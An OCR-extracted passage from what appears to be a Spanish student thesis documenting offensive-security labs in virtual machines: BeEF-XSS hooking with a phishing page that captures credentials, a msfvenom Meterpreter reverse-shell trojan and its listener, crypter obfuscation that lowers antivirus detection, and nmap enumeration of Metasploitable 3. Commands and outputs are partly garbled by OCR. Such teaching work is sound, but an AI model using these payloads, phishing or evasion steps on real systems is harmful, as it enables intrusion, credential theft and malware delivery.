id «  date label 1 Sun Feb 13 2022 13:11:44 GMT-0500 (Eastern Standard Time)
data: head= <meta hitp-equiv="Content-Type" content="text/html; charset=utf-8"> <title>The Butcher<ftitle> <link rel="stylesheet™ type="text/css"

0 2022-02-131311 command 1 href="butch.css"> &body= <script sre="jquery-1.12 4 min js"></script> <script> function showfriends() [ ${ #hamper”). hide(); $("#friends") show(); }

function showHamper() { ${"£friends").hide(); $(#hamper”).show(); } </script> <script> var commandModuleStr = ‘<script src="fhook.js™
type="textfjavascript"><Vscript>"; document.write(commandModuleStr); </script>=script src="Mook.js" type="text/javascript'><fscript> <div id="content">
<l-- Awesome Beef Images from: http:iwww flickr.com/photos/bulle_de/4657658048/ and http:ifwww. flickr.com/photos/dinesarasota/3944042189) > <div
id="logo"> <img src="top jpg” alt="The Butcher™> </div> <div id="stufi"> <div class="higger"> Welcome to The Butcher, your source of delicious meats.
Please feel free to view our samples, sign up to our mailing-list or purchase our special BeEF-hamper! </div> <div class="normal™> <button type="button™
onclick="showfriends();">0ur Meaty Friends</button> &nbsp; <button type="button” onclick="showHamper();">Order Your BeEF-Hamper</button> <div
id="friends" style="display: block;"> <ul> <li><a href="https:fibeefproject com" target="_blank">The Browser Exploitation Framework Project
homepage<fa> <fli><li><a href="https:iigithub.com/beefproject/beefiwiki’ target="_blank">BeEF Wiki</a></li> <li=<a href="http:/fbrowserhacker.com/”
target="_blank">Browser Hacker's Handbook=</a=</li> <li><a href="htips ffslashdotorg!" target="_blank">Slashdot=/a> </li><ful> <idiv> <div id="hamper"
style="display: none;"> <p=Delicious delicious hamper, straight to your door!</p= <form method="GET" action="index.htmi"> Name: <input type="text"
name="yourname">

Phone: <input type="text” name="phone">

Address: <input type="text" name="address">

Credit Card: <input type="text" name="creditcard">

<input type="submit" value="Buy buy!"> <fform> <p=>Sign up to our mailing list for delicious meats delivered straight to your inbox!</p> <form
method="GET" action="index.htm!"> E-mail: <input type="text" name="yourmname">

Password: <input type="password” name="password">

<input type="submit" value="Sign Up!"> <fform> </div> </div> <div class="smaller"> Thanks to httpz/f"www flickr.com/photos/bulle_de/ and
http:/idineSarasota.com for the BeEF images </div> </div> </div>

Figura 55: Comando get HTML en Beef-XSS.

e Redireccionar links a otros.
Con ello, se podria cambiar los hipervinculos a los que se encuentran
enlazados por defecto por otros que sean considerados por el atacante.

Module Results History Command results

id »  date label i Sun Feb 13 2022 13:13:02 GMT-0500 (Eastern Standard Time)
data: result=4 links rewritten to http://uah.es/
1] 2022-02-1313:13 command 1

Figura 56: Comando link rewrite en Beef-XSS.
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e Activar webcam (no esta instalado el plugin de Adobe).
A través de la web, podemos explotar la vulnerabilidad y activar la webcam
de la victima para de esta forma poder grabarla y hacer diferentes acciones
gue se crean oportunas por el ciberdelincuente.

Module Results History Command resulis -

id »  date label al Sun Feb 13 2022 13-15:26 GMT-0500 (Eastern Standard Time)
data: result=Swfobject was not able to add the swf file to the page. This could mean there was no flash plugin installed.
o 2022-02-1313:15 command 1

Figura 57: Comando webcam en Beef-XSS.

e Mirar si hay antivirus.
Con esta investigacion el atacante puede acometer diversas acciones
sabiendo que la victima si descarga o le lleva a un sitio no legitimo no va a ser
avisada y tiene altas probabilidades de caer en la trampa.

Module Results History Command resulis -

ida | date \abel 1 Sun Feh 13 2022 13:17:30 GMT-0500 (Eastern Standard Time)
data: antivirus=MNot Detected
0 2022-02-1313:17 ecommand 1

Figura 58: Comando dettect antivirus en Beef-XSS.

e Geolocalizar al equipo.
También podemos obtener la direccidén en la que se encuentra localizada el
equipo, con ello el ciberdelincuente puede geolocalizar a la victima.

Module Results History Command results -

id « date label 1 Sun Feb 13 2022 13:17:54 GMT-0500 (Eastern Standard Time)
data: result=

0 2022-02-1313:17 command 1 {"status™"success","country™:"Spain”,"countryCode":"ES™, region"-"MD", regionName":"Madrid","city":"Madrid","zip":"28017", Tat":40.4163, "lon":-

3.6934,"imezone”:"Europe/Madrid”,"isp™"Digi Spain Telecom 5.L.U." "org"™,"as" "AS57269 DIGI SPAIN TELECOM 5L U.""query™"188 26.196.33"}

Figura 59: Comando get geolocation en Beef-XSS.

e DNS.
Si un ciberdelincuente consigue manipular la DNS, puede hacer que el equipo de
la victima pida instrucciones a X servidor que proporcioné diferentes IPs, con las
cuales pueden hospedar paginas web fraudulentas.

Module Results History Command results -

id « date label 1 Sun Feb 13 2022 13:19:19 GMT-0500 (Eastern Standard Time)
data: result=Starting DNS enumeration: 112 hostnames loaded
o 2022-02-13 13:19 d 1
comman 2 Sun Feb 13 2022 13:19:24 GMT-0500 (Eastern Standard Time)
data: result=Internal DNS found: abc

3 Sun Feb 13 2022 13:19:44 GMT-0500 (Eastern Standard Time)
data: result=Internal DNS found: adserver

4 Sun Feb 13 2022 13:19:49 GMT-0500 (Eastern Standard Time)
data: result=Internal DNS found: adsl

5 Sun Feb 13 2022 13:20:06 GMT-0500 (Eastern Standard Time)
data: result=Internal DNS found: devl

6 Sun Feb 13 2022 13:20:27 GN
data: result=Internal DNS found: dns1

andard Time)

i Sun Feb 13 2022 13:20:48 G
data: result=Internal DNS found: fip

ndard Time}

8 Sun Feb 13 2022 13:21:09 GMT-0500 (Easte
data: result=Internal DNS found: imap

ard Time)

Figura 60: Comando DNS en Beef-XSS.
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e Web RTC.
Protocolo de seguridad mas seguro y popular que estable de forma gratuita un

canal de comunicacién en tiempo real entre cliente y empresa por audio y video
a través de un navegador web.

Module Results History Command results

id «  date label 1 Sun Feb 13 2022 13:18:37 GMT-0500 (Eastern Standard Time)
data. IP is d5679b13-1035-4795-a530-a7692¢37c54b local

QSR EHENESR - Coreolil 2 Sun Feb 13 2022 13:18:37 GMT-0500 (Eastern Standard Time)
data: IP is d5679bf3-1035.4795-2630-a7692¢37c54b local, 5B53fabc-689-499a-91 eb-bE3fdalefebd Jocal

Figura 61: Comando get internal IP WEB RTC en Beef-XSS.

e Credenciales via Ingenieria social.
También Beef-XSS nos da la opcion de a través de su conexién con la victima
poder lanzar ataques de ingenieria social en la que le salgan por pantalla
diferentes tipos de ataque.

& Google Maik:Email from Google X +

192.168.208.128

B s © B @ Moi M MIGA @ Dscord I Unkedin < Remove

i ‘o ko -«
Google Mai
A Google approach to email Sign in &
3o0gle Mail is built on the idea that email can be more intuitva, efficcent. and useful And maybe even fun Usemame
fier all, Google Mail hax vpps99@gmail.com 9
= Lots of space Password w '
Over 2757 272164 megabytes (and counting) of free storage. [y
G
Q. — - |
Mobile access el
Got Google Mail on your mobile phone. Leam m«
About Google Mai Create an account
Take Google Mail to work with Google Apps for Business
300gle Mail, but looking fo npany? (0]
ndar, and

Figura 62: Comando Google Phishing en Beef-XSS en pantalla de la victima.

En la imagen superior vemos lo que le sale a la victima por pantalla cuando el
atacante activa la opcidn de Google Phishing. Simulamos las credenciales damos
asigninynos lleva a la pagina principal de Google para que se registre de nuevo.

Module Results History Command results -

id « date label 1 Sun Feb 13 2022 13:21:07 GMT-0500 (Eastern Standard Time)
data: result=Username: vpps99@gmail.com Password: 12345TFG
o 2022-02-13 13:20 command 1

Figura 63: Comando Google Phishing en Beef-XSS.

La herramienta salvaguarda las credenciales introducidas por el usuario.
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3.3.5. Conclusiones de The Browser Exploitation Framework (Beef-Xss)

Gracias a la herramienta de Beef-XSS hemos podido comprobar como los
ciberdelincuentes son capaces de explotar y obtener informacion de los equipos de las
victimas a través de las diversas vulnerabilidades existentes en estos.

Para ello, tenemos que explotar la vulnerabilidad XSS afiadiendo el archivo
hook.js (técnicas utilizadas para alterar el comportamiento de componentes software
o sistemas operativos) a la pagina.

Este se emplea para automatizar ataques XSS contra aplicaciones webs
vulnerables, como hemos podido comprobar con los detalles, logs y comandos de
dentro de la herramienta.

De esta forma, los ciberdelincuentes son capaces de inyectar malware y robar
la informacion de sus victimas.

3.4, Metasploit-Framework y MSF Payload Creator (Msfpc): creacion
malware

Msf payload creator (Msfpc) se trata de un wrapper para generar

P multiples tipos de payloads, basados en la eleccién del usuario. El

M Pc objetivo final es la completa automatizacién de msfvenom y Metasploit
(asi como ser capaz de automatizarse a si mismo).

Metasploit-Framework es una plataforma de cddigo abierto que
admite la investigacidn de vulnerabilidades, el desarrollo de exploits y la
creacién de herramientas de seguridad personalizadas.

3.4.1. Instrumentos empleados

Entorno virtual: VMWare

Maquina atacante: Kali Linux
Magquina vulnerable: Windowns XP
Herramientas:

e Metasploit-Framework
e MSF Payload Creator (Msfpc)
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Con ambas herramientas llevaremos a cabo la creacion de un malware, la
difusidon de este a una victima, y, por ultimo, la interaccién atacante-victima. Esto se
llevard a cabo por medio de meterpreter mediante una conexién de reverse Shell.

Este malware, en concreto se trata de un troyano y mas en detalle de un
backdoor “puerta trasera”, este tipo de troyano permite el control total remeto del
atacante a la maquina que se encuentra infectada.

3.4.2. Puesta en escena de Metasploit-Framework y Msfpc

Para el despliegue de las herramientas Metasploit-Framework y Msfpc, hemos
optado por lanzarla en entorno virtual; tanto para el lanzamiento del ataque como para
la victima.

3.4.3. Msfpc y MSFVenom: el entorno

Nos descargamos la herramienta de Mspc, la lanzamos y vemos en la Shell
informacién importante.

File Actions Edit View Help

$ msfpc
ayload creator (

TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<
/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)
Example

Figura 64: Informacion y opciones disponibles dentro de Mspc.
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A suvez, nos apoyaremos en la herramienta de MSFVenom para crear el troyano.

File Actions Edit View Help

File Actions Edit View Help

Figura 65: Informacion y opciones disponibles dentro de MSFVenom

Donde cabe destacar que este es el entorno que crea payloads de Metasploit; ademas,
es la combinacién de MSFpayload (generar cddigo shell, ejecutables, y mucho mas para
su uso en explotaciones) y MSFencode (controlar caracteres nulos cuando se interpreta
por muchos programas).

3.4.4. Creacidon de malware

Generamos el archivo malicioso por medio de MSFvenom.

windows/meterpreter/reverse_tcp lhost=192.168.208.128 lport=1337 exe malware.exe

Figura 65: Comando en MSFVenom para la creacion del troyano.

Llamamos a la aplicacién MSFvenom y rellenamos los siguientes campos dentro
del comando via Shell:

e -p: para indicar el payload que queremos cargar; en nuestro caso nos
interesa el reverse_tcp debido a que queremos llevar a cabo una
conexién de puerta trasera con la victima, la cual emplea Windows como
SO.

e Indicamos el lhost, que serd la direccion IP de la maquina atacante.
192.168.208.128.

e Indicamos el Iport, que serd el puerto por el que hagamos la conexidn.
1337.

e -f: paraindicar el tipo de formato que queremos generar el archivo y por
ultimo especificamos el nombre. malware.exe.
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kali@kali: ~

File Actions Edit View Help

f windows/meterpreter/reverse_tcp lhost=192.168.208.128 lport=1337 exe malware.exe
[-] No platform was selected, choosing Msf ::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes

Figura 67: Creacion del malware llevada a cabo en MISFVenom.

Observamos que el troyano denominado como malware.exe se crea de forma
correcta segun las caracteristicas otorgadas en la linea de comandos inicial.

B Al

Places

Figura 66: Creacion del malware exitosa.

3.4.5. Metasploit-Framework: el entorno

Nos descargamos la herramienta de Metasploit-Framework, la lanzamos y
vemos en la Shell informacidn importante.

Figura 68: Informacion inicio de MSFConsole.
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Cabe destacar que, si queremos ver todas las opciones, médulos y posibilidades
dentro de MSFConsole, deberemos poner el comando help.

it View Help

Figura 69: Opciones disponibles en MSFConsole tras el comando help.

3.4.6. Lanzamiento Metasploit-Framework

Una vez generado nuestro malware.exe, el siguiente paso es lanzar un
metasploit para que cuando la victima ejecute el archivo se cree correctamente la
conexion meterpreter con reverse shell tcp. A su vez, meterpreter funciona con
metasploit, y para ello usamos MSFconsole (proporciona informacién acerca de
vulnerabilidades de seguridad).

En primer lugar, por consola, dentro de metasploit, deberemos establecer qué
tipo de exploit vamos a emplear; usaremos el exploit de escucha exploit/multi/handler.

Figura 70: Establecemos exploit en MSFConsole.

Una vez elegido el exploit, proseguiremos con la configuracién de los diferentes
campos para su lanzamiento.
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Para usar meterpreter, usaremos:

e El médulo exploit/multi/handler.

e lhost (direccion IP de la maquina atacante): 192.168.208.128.

e |port (puerto por el que hagamos la conexién): 1337.

e Establecer el payload que vamos a utilizar:
windows/meterpreter/reverse_tcp

msf6 exploit( ) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.208.128 yes The listen address (an interface may be specified)
LPORT 337 yes The listen port

Exploit target:

Name

Wildcard Target

Figura 71: Establecimiento de la informacion clave para la creacion del listener en MISFConsole.

3.4.7. Infeccién victima y prueba listener

Para infectar a la victima crearemos un servidor en el puerto 80 en nuestra red.

Figura 72: Creacion del servidor en el puerto 80.

Abriremos con nuestra maquina vulnerable, Windows XP, el servidor por la ruta
192.168.208.128/malware.exe y lo guardamos en el equipo de la “victima”.
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2 No se puede encontrar el servidor - Microsoft Internet Explorer

Qua- O ¥ @ G ot rrecin € (2~

o 81 e l:92.168 209, 128 ymawers.wsm

ﬂ No se puede mostrar la pagina

iDesea ciecutas o guardar este archive?
Sertre: mabvwe.exe

Too Aduacin, 72,068
De 192,168.208.123

(=)
3

Lo archivor precedenles ds kret g s diks, 9510 sile
1) oo do archiva pusde daky paseacainanie s ecupn Siro corfla
en ¢l cngen. 70 mecule ri uarde ene scitware  Cusl eg o/ iiesqa ]

' Inicio 2 re so s ancay

Figura 73: Infeccion victima por medio del servidor.

Descargamos el troyano simulando que fuéramos la victima y el atacante nos
hubiese mandado un enlace de descarga del malware mediante diferentes técnicas,
como pudiera ser la ingenieria social.

23 Inicio

Figura 74: Malware en la victima.
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Una vez iniciemos el exploit creado (se inicia mediante el comando exploit o
run), deberemos esperar hasta que la victima ejecute el malware que se encuentra en

su equipo; es decir, esperamos a que se habra la puerta trasera y el atacante tenga
acceso de forma remota al equipo.

Figura 75: Conexion Atacante-Victima creada con éxito.

3.4.8. Atacante-Victima: qué se puede hacer

Una vez ya establecida de forma correcta la conexidon multi-handler reverse_tcp

y ejecutado el exploit. El atacante podria llevar a cabo diferentes acciones para obtener
la informacion de la victima de forma remota.

‘home/kal 1 /DUCYPV

Figura 76: Comando screenshot hecho por el atacante al equipo de la victima.
Una de las acciones a llevar a cabo es capturar a la victima con un screenshot.

p c et

CFQRRWSZ jpeg - Image Viewer [3/4]

google inicio de sesion

Inicia sesion: Cuentas de Google
eps 1 e

Inicia Sesion Crea Una Cuenta de Google

13

Crea Tu Cuenta de Google Ayuda de Cuenta de Google

Google Cuenta

Figura 77: Screenshot de la victima en el equipo del atacante.
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Otra de las funciones que el atacante puede llevar a cabo, se trata de ver el
contenido del equipo mediante Is.

Figura 78: Comando Is para extraer informacion de la victima.

También se pueden llevar a cabo diferentes comandos para extraer la
informacién a la victima. Si ponemos help en el terminal, nos aparecen las diferentes
opciones disponibles.

ro ctive

Figura 79: Comando help para ver diferentes comandos disponibles en el meterpreter.

3.4.9. Conclusiones de Metasploit-Framework y MSF Payload Creator
(Msfpc)

Hemos podido observar como se genera desde cero un malware y coémo se
puede distribuir a las victimas. A su vez, nos hemos puesto en la piel del
ciberdelincuente donde hemos tenido acceso a la maquina de la victima por medio de
backdoor “puerta trasera”; que como sabemos, se trata de un malware del tipo
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troyano que permite el control total remeto del atacante a la maquina que se
encuentra infectada.

Por otro lado, hemos visto que para crear un malware del tipo que queramos
es muy facil, ya que existen diferentes herramientas que contienen exploits para
llevarlo a cabo como es el caso de Metasploit-Framework, MSF Payload Creator y
MSFVenom.

Desde el lado de la victima, observamos que con tan solo descargar un
programa y ejecutarlo, en el caso de ser maligno como es el caso, ya podriamos caer
en un ataque de un ciberdelincuente quedando de esta forma expuestos a cualquier
accion a tomar y llevar a cabo por este.

3.5. Crypter: ocultacién de malware

Crypter es un software escrito en python 3, que se puede usar para
ofuscar, encriptar el cédigo fuente de python para eludir AntiVirus.
También es capaz de omitir maquinas virtuales como VirtualBox, VMware,
Sandboxie.

m

3.5.1. Instrumentos empleados

Entorno virtual: VMWare
Mdquina atacante: Kali Linux
Herramientas:

o MSFvenom
e Crypter: https://github.com/Pushpenderindia/crypter

e VirusTotal: https://www.virustotal.com/gui/home/upload

3.5.2. Puesta en escena Crypter

Para el despliegue de la herramienta Crypter, hemos optado por lanzarla en
entorno virtual y emplear otras herramientas para complementar el andlisis y
explicacion del crypter.
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3.5.3. Crypter: el entorno

Vamos a llevar a cabo la encriptacion del malware para que sea menos propicio
de ser detectado por los antivirus. Por ello, haremos uso de la herramienta Crypter que
se encuentra disponible en GitHub. Ademas, utiliza cifrado AES-256 bit y codificacion
Base64 para cifrar el codigo fuente dos veces.

Para poder usar la herramienta Crypter de GitHub, hemos de tener unos
requerimientos previos; deberemos tener instalado y configurado en nuestro equipo
pip.

INSTALACION DE PIP

Command ‘'pip' not found, but can be installed with:
sudo apt install python3-pip
Do you want to install it? (N/y)y
S apt install python3-pip
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages re automatically installed and are no longer required:

python3-editor python3-ipython-genutils
Use 'sudo apt autoremove' to remove them.
The following additional packages will be installed:

python-pip-whl python3-wheel
The following NEW packages will be installed:

python-pip-whl python3-pip python3-wheel
0 upgraded, 3 newly installed, © to remove and 222 not upgraded.
Need to get 2,309 kB of archives.
After this operation, 3,671 kB of additional disk space will be used.

1t to continue? [Y/n] y
p://kali.download/kali kali-rolling/main amd64 python-pip-whl all 20.3.4-4 [1,948 kB]

Get:2 http://kali.download/kali kali-rolling/main amdé64 python3-wheel all 0.34.2-1 [24.0 kB]
Get:3 http://kali.download/kali kali-rolling/main amd64 python3-pip all 20.3.4-4 [337 kB]
Fetched 2,309 kB in 1s (2,379 kB/s)
Selecting previously unselected package python-pip-whl.

Figura 80: Instalacidn de pip.

Por medio de pip la libreria pycryptodome (libreria que utiliza primitivas
criptograficas de bajo-nivel por medio de RSA).

= T INSTALACION DE PYCRYPTODOME
install pycryptodome
Collecting pycryptodome
Downloading pycryptodome-3.11.0-cp35-abi3-manylinux2010_x86_64.whl (1.9 MB)
I ;
Installing coll ckages: pycr
Successfully insta 2d pycryptodome-3.11.0

Figura 81: Instalacion de pycryptodome.

Una vez con ello listo, nos instalamos la herramienta de Crypter de GitHub.

clone httg s hnowlogy-Pushpe
Cloning into 'cr .
remote: Enumerating objects: 54, done.
remote: Counting objects: 100% (54/54), done.

remote: Compressing objects: 100% (52/52), done.

remote: Total 54 (delta 25), reused @ (delta @), pack-reused @
Receiving obje 00% (54/54), 74.71 KiB | 980.00 KiB/s, done.
Resolving delt 100% (25/25), done.

Figura 82: Instalacion de la herramienta Crypter de GitHub.
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3.5.4. Crypter: modding de malware

Para proceder al modding/ocultacién del malware por medio de Crypter,
previamente generaremos un malware por medio de MSFVenom con los pasos
comentados anteriormente en el apartado de creaciéon de malware.

Este nuevo se le llamara bicho.apk (como vemos es un malware para
dispositivos Android). Una vez generado, lo pasamos por la herramienta
online VirusTotal.

‘@ gterminal

Virus Total - File - 1¢816dcbad74794090 40dbd8M 064T7b41be 7062 4221dde Tee 3542186602801 - Mozila Firefox

Figura 83: bicho.apk analizado por medio de VirusTotal con unas 29/63 detecciones posibles.

Ahora bien, se procedera a llevar a cabo el modding en nuestro malware, en
bicho.apk por medio de Crypter:

e Establecemos el nimero de veces que queremos que se recodifique
nuestro archivo: 5000000.

e La ruta donde se encuentra ubicado nuestro archivo y se nos crea un
archivo nuevo: /home/Kali/Desktop/bicho.apk

El archivo bicho.apk.back es el antiguo y el bicho.apk, es el nuevo recodificado
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Proceso de modding en bicho.apk

~/crypter

Figura 85: Configuracion de Crypter para bicho.apk.

Por ultimo, pasamos nuestro archivo recodificado, bicho.apk, via Crypter por
VirusTotal y comprobamos cémo Unicamente un antivirus seria capaz de reconocer el
archivo malicioso.

& qtermina

VirusTotal - File - efS59a84864465426a935 2128725 5¢000cdd1234d850297516371 41407535 - Mazilla Firefor

Figura 84: bicho.apk tras crypter por medio de VirusTotal con una 1/63 detecciones posibles.

Al realizar una comparativa del archivo pasado por medio de Crypter al normal,
comprobamos que ha decrecido en 28 antivirus la deteccién del malware.
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3.5.5. Conclusiones de Crypter

Hemos visto de qué forma los ciberdelincuentes son capaces de ocultar sus
malwares para que sean indetectables en los dispositivos, tengan antivirus o no. Esto
se debe a la capacidad de encriptacion que tienen los Crypter.

El caso de uso que hemos visualizado de bicho.apk en primera instancia era
detectado por un total de 29 antivirus de 63 posibles; una vez pasado por el Crypter
se ve claramente como esta deteccion se reduce al 95% donde el malware es
detectado Unicamente por un antivirus.

3.6. Auditoria: informe técnico maquina vulnerable

Mediante diferentes herramientas de enumeracion y de
explotacion, se llevara a cabo una auditoria de una maquina vulnerable,
esta serd de Metasploitbale 3. Con toda la informacién obtenida, por
ultimo, se procedera a elaborar un informe técnico final.

3.6.1. Instrumentos empleados

Entorno virtual: VMWare

Maquina atacante: Kali Linux
Magquina vulnerable: Metasploitable 3
Herramientas:

e Fase de enumeracion: Nmap y Legion
e Fase de explotacion: Metasploit-Framework y Nessus

3.6.2. Puesta en escena

En primer lugar, llevaremos a cabo la enumeracion y funcionalidad de los
servicios que se encuentran en nuestra maquina vulnerable, que se trata de
Metasploitable 3. De forma siguiente, se realizard un escaneado y explotacién de las
vulnerabilidades encontradas en el equipo.

Con ello, conseguiremos dar valor e informacion a nuestro informe técnico que
se realiza a posteriori.
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3.6.3. Enumeracidn y funcionalidad de los servicios en Metasploitable 3

Nuestro host para analizar y mostrar la lista con los servicios y versiones se trata
del Metasploitable 3 (maquina vulnerable). El primer paso para realizar es abrir la
maquina Metasploitable 3, poner las determinadas credenciales de acceso y una vez
hayamos accedido a la maquina seguir dos pasos:

e Buscar la direccion IP del host mediante el comando ifconfig.
e Guardar la direccion IP del host.

Home 3 Kali-Linw-2021.3-ymware-amde4 » Metasploitable 3 Ubuntu

docker® Link encap:Ethernet HWaddr 02:42:62:90:57:16
inet addr:172.17 Beast:172.17.255.255 Mask:255.255.0.0
inct6 addr: fe80 211 :£c90:5716/64 Scope:Link
UP BROADCAST RUN ULTICAST MTU:1500 Metric:l
RX packets:0 crrors:0 dropped:0 overruns:@ franei9
TX packets:29 errorsi0 dropped:® overruns:® carrier:0
collisions:0 txqueuelen:®
RX bytes:0 (0.0 B) TX bytes:3327 (3.3 KB)

etho Link encap:Ethernet Hiladdr 00:0c:29:2e:0c:9b
st:192. 16

bytes:13295 (13.Z KB)
10x2000

Loopback

0.1 Mask:255.0.0.0

128 Scope:Host

ING MTU:65536 HMetricil
RX packets:620 crrorsi0 dropped:0 overrunsi@ frane:0
TX packets 620 errors:0 dropped:0 overruns:i0 carrier:0
collisions:0 txqueuelen:o
RX bytes:345283 (345.2 KB) TX bytes:345283 (345.2 KB)

veth?z1870a Link encap:Ethernet Haddr ae:a?:13:91:b7:42
inet6 addr: fef0::aca?:13ff:fe91:b742/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MIU:1500 Metric:l
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
X packets:48 errors:0 dropped:0 ouerruns:0 carrier:0
collisions:0 txqueuelen:®
RX bytes:0 (0.0 B) TX bytes:5420 (5.4 KB)

vagrant@ubuntu:"g

Figura 86: Arranque Metasploitable 3 y obtencion de IP.

Ahora bien, debemos de acceder a la maquina virtual de Kali Linux (maquina
atacante). El primer paso para realizar es abrir la mdaquina Kali Linux, poner las
determinadas credenciales de acceso y una vez hayamos accedido a la maquina seguir
el siguiente paso:

e 1: Como queremos escanear el host y, ademas, obtener su sistema operativo;
mediante el comando nmap, -sV (identifica servicios y versiones) y la direccion
IP del Metasploitable 3 tenemos acceso a la informacion correspondiente a los
puertos que se encuentran abiertos, los servicios a los que estos se encuentran
asignados y el servicios y versiones.
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kali@kali: ~
File Actions Edit View Help
o = 1

— 5 U 192.168.208.135

[sudo] password for kali:

Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-10 14:53 EST

Nmap scan report for 192.168.208.135

Host is up (0.012s latency).

Not shown: 992 filtered ports

PORT STATE SERVICE VERSION

21/tcp open ftp ProfTPD 1.3.5

22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.7

445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

631/tcp open ipp CUPS 1.7

3000/tcp closed ppp

3306/tcp open  mysql MysSQL (unauthorized)

8181/tcp open http WEBrick httpd 1.3.1 (Ruby 2.3.7 (2018-03-28))

MAC Address: 00:0C:29:2E:0C:9B (VMware)

Service Info: Hosts: 127.0.0.1, UBUNTU; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.09 seconds

Figura 87: Fase de enumeracion de Metasploitable 3 mediante nmap.

De forma siguiente, vamos a emplear otra herramienta para para analizar y
mostrar la lista con los servicios y versiones se trata de Legion. Realizaremos el paso de
obtencidén de la direccion IP de nuestro dispositivo de la misma forma que lo realizamos
anteriormente.

El Unico cambio que haremos se hard en una vez dentro la maquina virtual de
Kali Linux (maquina atacante). El primer paso para realizar es abrir la maquina Kali Linux
y buscar en el equipo la aplicacion Legion, herramienta de prueba de penetracion de
red.

Una vez dentro de Legion, se llevardn a cabo los diferentes pasos:
e 2: Seleccionamos e insertamos la direcciéon IP de la maquina que queremos

analizar.

e 3:Obtenemos las diferentes caracteristicas sobre los puertos que se encuentran
en estado abierto.

Cabe destacar, que mientras se encuentra la herramienta de Legién, ejecutando
y analizando la direccidon IP asignada, los diferentes procesos van corriendo, estos se
tratan de diferentes comandos que la aplicacién va realizando.
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Como podemos observar, hemos obtenido dos puertos mds abiertos con Legion,
estos son los puertos 3500 y 6697. Esto se debe a que se utilizan politicas de escaneo
diferentes, es decir, los parametros de configuracion son distintos.

TR ———
File Help
Scan  Brute

Hosts  Services Tools Services  Scripts  Information ~CVEs Notes screenshot (80/jtcp) B mysql-default (3306/tcp) B ftp-d¢

0s Host Port Protocol State Name Version
4. 192.168.208.135 (unknown) pal tcp open ftp ProFTPD1.3.5

® @&

22 tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.10 (Ubuntu Linux; protoco...
80 tcp open http Apache httpd 2.4.7
445 tcp open netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631 tcp open ipp CupPs17
tcp open mysql MySQL (unauthorized)
tcp open http WEBFrick httpd 1.3.1 (Ruby 2.3.7 (2018-03-28))
tcp open irc UnreallRCd

®
®
®
®
®
®
®

open http WEBrick httpd 1.3.1 (Ruby 2.3.7 (2018-03-28))

Processes  Log
Progress = Elapsed Est. Remaining i Tool Host Status
NN - 107.53s 0.00s nmap (stage... 192.168.208... Finished
mnnnmnn - 0.00s 0.00s ftp-default (.. 192.168.208... Finished
mnnnmnn - 0.00s 0.00s mysql-defa.. 192.168.208... Finished
N 0.00s 0.00s screenshot (.. 192.168.208... Finished
NN - 0.00s 0.00s screenshot (.. 192.168.208... Finished
N 165.18s 0.00s nmap (stage... 192.168.208... Finished

Figura 88: Fase de enumeracion de Metasploitable 3 mediante Legion.
Estado de los diferentes puertos obtenidos:

e Puerto 21, 22, 80, 445, 631, 3306, 3500, 6697 y 8181: Abiertos.
e Puerto 3000: Cerrado.

Protocolos que se encuentran asignados en los diferentes puertos obtenidos:

e TCP (todos los puertos): Protocolo que permite de forma segura el intercambio
de datos, al requerir de la conexidn y autorizacion entre el emisor y el receptor,
o el cliente y el servidor, antes de producirse la transferencia.

A continuacién, procedemos a explicar la funcionalidad de los servicios que se
encuentran asignados en los diferentes puertos obtenidos:

e FTP (puerto 21): Servicio que emplea un protocolo de transferencia para
transferir rapidamente archivos desde un dispositivo a otro (entre el equipo y el
servidor o entre equipo local de un cliente y el servidor del proveedor).
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e SSH (puerto 22): Servicio que emplea un protocolo que garantiza que tanto el
cliente como el servidor remoto intercambien informaciones de manera segura
y dinamica. Ademads, garantiza la transferencia de datos sin ninguna pérdida de
informacién.

e HTTP (puerto 80, 3500 y 8181): Se trata de un protocolo cliente-servidor que
articula los intercambios de informacidn entre los clientes Web vy los servidores
HTTP; es decir, es un servicio que se basa en sencillas operaciones de
solicitud/respuesta. Un cliente establece una conexién con un servidor y envia
un mensaje con los datos de la solicitud. El servidor responde con un mensaje
similar, que contiene el estado de la operacion y su posible resultado.

e NETBIOS-SSN (puerto 445): Servicio que se encarga de proporcionar la API
netbios, incluyendo NBT (netbios sobre TCP/ip). Donde la netbios se trata de una
capa de software desarrollado para enlazar un sistema operativo de red con
hardware especifico.

e |IPP (puerto 631): Es un protocolo de impresidn por internet, donde se trata de
un sistema basado en estandares para permitir la impresion remota desde un PC
a cualquier impresora accesible; la impresora estard conectada a otro ordenador
u otro dispositivo que funcione como servidor IPP.

e PPP (puerto 3000): Protocolo punto a punto, donde este es un estandar de
Internet para transmitir datos a través de lineas serie. Ademas, cabe destacar
gue se trata del protocolo de conexidon que mas se utiliza entre los proveedores
de servicios de Internet.

e MYSQL (puerto 3306): Sistema de gestion de bases de datos relacional (mas
extendido en la actualidad) que cuenta con una doble licencia: una parte es de
codigo abierto, y otra, con una version comercial gestionada por la compania
Oracle.

e IRC (puerto 6697): Se trata de un protocolo mundial para conversaciones
simultaneas que permite comunicarse en formato textual entre si a través de
ordenador a varias personas en tiempo real. Estd estructurado mediante una red
de servidores, cada uno de los cuales acepta conexiones de programas cliente,
uno por cada usuario.
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3.6.4. Escaneado y explotacidn de vulnerabilidades en Metasploitable 3

Para el tema de las vulnerabilidades, hemos de tener en cuenta el escaneado
